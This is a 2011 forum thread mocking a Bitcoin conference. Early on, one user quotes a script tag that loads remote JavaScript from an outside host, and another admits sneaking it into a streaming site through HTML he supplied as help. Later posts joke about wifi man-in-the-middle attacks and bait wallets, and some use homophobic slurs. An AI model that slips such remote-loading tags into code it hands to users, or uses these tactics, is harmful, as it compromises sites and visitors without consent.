Bitcon: Conning libertarians and goldbugs since 2009

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Cocoa Crispies: Jul 20, 2001; Vehicular Manslaughter!; Pillbug

Bitcon is tomorrow! Will they be able to ride out the weekly bitcoin market crash? Stay tuned!

IMPORTANT UPDATE

Rufo posted:

someone's managed to put
code:
<p><script src="http://www.ustreamtally.vacau.com/update.js?s=6743479"></script></div>
on http://onlyonetv.com/watch-live/

it's running the latest version of wordpress so god knows. own up + get mad props

barbarianbob posted:

yeah that was me. getting the code in there wasnt that timthumb hack (i dont think onlyonetv has that installed) or anything exciting, just social engineering. about 2 months back he asked for help to make the chat show to the right of the video instead of below it. i gave him the html code, but added in that script tag.
then i made that script tag poll for updates every minute. so it executed whatever javascript code i put up. so it was p much putting up fun jquery code and waiting up to a minute for everyone to get it.

# ? Aug 19, 2011 04:26

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# ? May 9, 2024 03:56

Sneaking Mission: Nov 11, 2008

buttcon

# ? Aug 19, 2011 04:27

graph: Nov 22, 2006; aaag peanuts

Sneaking Mission posted:

buttcon

# ? Aug 19, 2011 04:27

Cocoa Crispies: Jul 20, 2001; Vehicular Manslaughter!; Pillbug

Did someone say "buttcoin?"

# ? Aug 19, 2011 04:27

got dat wmd: Apr 28, 2009

sup from buttcon

there's currently a powerfailure at 3/4 of the hotel

going to carolines

# ? Aug 19, 2011 04:28

Cocoa Crispies: Jul 20, 2001; Vehicular Manslaughter!; Pillbug

got dat wmd posted:

sup from buttcon

there's currently a powerfailure at 3/4 of the hotel

going to carolines

Whoa are you there IRL 4srs?

# ? Aug 19, 2011 04:29

got dat wmd: Apr 28, 2009

it's only $78 by train from boston

# ? Aug 19, 2011 04:29

Cocoa Crispies: Jul 20, 2001; Vehicular Manslaughter!; Pillbug

got dat wmd posted:

it's only $78 by train from boston

That's only 8 BTC!

# ? Aug 19, 2011 04:31

got dat wmd: Apr 28, 2009

i plan on leaving a usb stick with a wallet somewhere, seeing if someone takes it and then taking pictures of the theif and posting them all over the forums wishing sweet revenge

# ? Aug 19, 2011 04:32

Cocoa Crispies: Jul 20, 2001; Vehicular Manslaughter!; Pillbug

got dat wmd posted:

i plan on leaving a usb stick with a wallet somewhere, seeing if someone takes it and then taking pictures of the theif and posting them all over the forums wishing sweet revenge

Put the wallet.dat on the stick, and then the second you drop it set up some huge transfers off of it to some other address in a different wallet for maximum plausibility.

# ? Aug 19, 2011 04:34

duTrieux.: Oct 9, 2003

inject goatse into all wireless traffic. (dance with the one that brung ya, y'know?)

# ? Aug 19, 2011 04:36

duTrieux.: Oct 9, 2003

bar the doors and set fire to the conference room.

# ? Aug 19, 2011 04:36

got dat wmd: Apr 28, 2009

nyc is a poo poo city anyway it wouldnt be an improvement

probbly will spend most of the weekend learning about trains from fishmech and trying to keep preg from choking on he own vomit

# ? Aug 19, 2011 04:37

Emacs Headroom: Aug 2, 2003

got dat wmd posted:

nyc is a poo poo city anyway it wouldnt be an improvement

probbly will spend most of the weekend learning about trains from fishmech and trying to keep preg from choking on he own vomit

you can come get hella drunk on scotch with me and powercrazy

if the weather is nice maybe we can use his deck

# ? Aug 19, 2011 04:42

got dat wmd: Apr 28, 2009

i only drink catholic whiskey so maybe if i have time away from learning about the future of the newest and best currency from a gay man and his gay boyfriend

# ? Aug 19, 2011 04:46

some kinda jackal: Feb 25, 2003; �
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got dat wmd posted:

there's currently a powerfailure at 3/4 of the hotel

everyone brought their mining rigs or what

# ? Aug 19, 2011 04:47

FCKGW: May 21, 2006

gonna post this on page one

http://buttcoin.org

hopefully i'll have some material to update with during the "conference"

# ? Aug 19, 2011 04:49

Don Lapre: Mar 28, 2001; If you're having problems you're either holding the phone wrong or you have tiny girl hands.

Bittcoin loans

https://bitcointalk.org/index.php?topic=35678.0;all

# ? Aug 19, 2011 04:56

Don Lapre: Mar 28, 2001; If you're having problems you're either holding the phone wrong or you have tiny girl hands.

Bonus

https://bitcointalk.org/index.php?topic=26203.0

the IBB makes interest free BTC loans and apparently they all default lol.

# ? Aug 19, 2011 04:58

Jonnty: Aug 2, 2007; The enemy has become a flaming star!

Paid back 2 BTC with .02 BTC gratuity. A 91% gratuity if you calculate it like an interest rate (2 BTC loaned for 4 days).

eh?

https://bitcointalk.org/index.php?topic=35784.0

# ? Aug 19, 2011 05:15

My Linux Rig: Mar 27, 2010; Can't post for 6 years!

BonzoESC posted:

Bitcon is tomorrow!

my anus is tingling with excitement!

# ? Aug 19, 2011 05:16

some kinda jackal: Feb 25, 2003; �
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Don Lapre posted:

Bittcoin loans

https://bitcointalk.org/index.php?topic=35678.0;all

free market at work

# ? Aug 19, 2011 05:17

Moongrave: Jun 19, 2004; Finally Living Rent Free

posting to mark thread, not reading tho.

# ? Aug 19, 2011 05:39

axolotl farmer: May 17, 2007; Now I'm going to sing the Perry Mason theme

CHARONS BOAT RIDER posted:

posting to mark thread, not reading tho.

# ? Aug 19, 2011 05:56

DOOMocrat: Oct 2, 2003

i wonder if bitcoin people meeting each other will increase or decrease confidence in the currency

# ? Aug 19, 2011 05:58

DOOMocrat: Oct 2, 2003

i'm just going to get laid

# ? Aug 19, 2011 05:58

Wheany: Mar 17, 2006; Spinya^{ha^{ha^haha}ha}ha_{ha_{ha_haha}ha}ha!; Doctor Rope

AssScam

# ? Aug 19, 2011 06:15

that awful man: Feb 18, 2007; YOSPOS, bitch

CHARONS BOAT RIDER posted:

posting to mark thread, not reading tho.

# ? Aug 19, 2011 07:25

got dat wmd: Apr 28, 2009

spergs are not drinking yet playing nintendos and talking about kevin mitnick who i guess was on one of the goony fake news shows on comedy central tonight. no thread?????

# ? Aug 19, 2011 07:53

mr_jim: Oct 30, 2006; OUT OF THE DARK

CHARONS BOAT RIDER posted:

posting to mark thread, not reading tho.

# ? Aug 19, 2011 11:55

flyboi: Oct 13, 2005; agg stop posting; College Slice

got dat wmd posted:

i only drink catholic whiskey so maybe if i have time away from learning about the future of the newest and best currency from a gay man and his gay boyfriend

sorry i will not be there so idk who would tell you

# ? Aug 19, 2011 11:59

Malloc Voidstar: May 7, 2007; Fuck the cowboys. Unf. Fuck em hard.

mitm the wifi and drop all packets destined to ports 8333 and 6667

# ? Aug 19, 2011 12:03

ShadowHawk: Jun 25, 2000; CERTIFIED PRE OWNED TESLA OWNER

DOOMocrat posted:

i'm just going to get laid

what's the going rate for that in buttcoins?

cause you'd think it be 1

# ? Aug 19, 2011 12:31

Dans Macabre: Apr 24, 2004

Today is going to be great.

# ? Aug 19, 2011 12:45

MORE CURLY FRIES: Apr 8, 2004

Nevergirls posted:

Today is going to be great.

# ? Aug 19, 2011 12:52

Sneaks McDevious: Jul 29, 2010; by LITERALLY AN ADMIN

Nevergirls posted:

Today is going to be great.

# ? Aug 19, 2011 13:00

Mondrian: Jan 8, 2011

Preemptive gold voting

Great job, go hog wild!

# ? Aug 19, 2011 13:04

newreply.php: Dec 24, 2009; Pillbug

CHARONS BOAT RIDER posted:

posting to mark thread, not reading tho.

this + also unironically

# ? Aug 19, 2011 13:05

cleanhands: Jun 9, 2010; My opinions, though not completely awful are expressed in a tiresome and needlessly aggressive way. Please help me to chill out.

did someone say buttcon yet

# ? Aug 19, 2011 13:38

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Dans Macabre: Apr 24, 2004

today's agenda: bitcoin breakfast :yum:

# ? Aug 19, 2011 14:09

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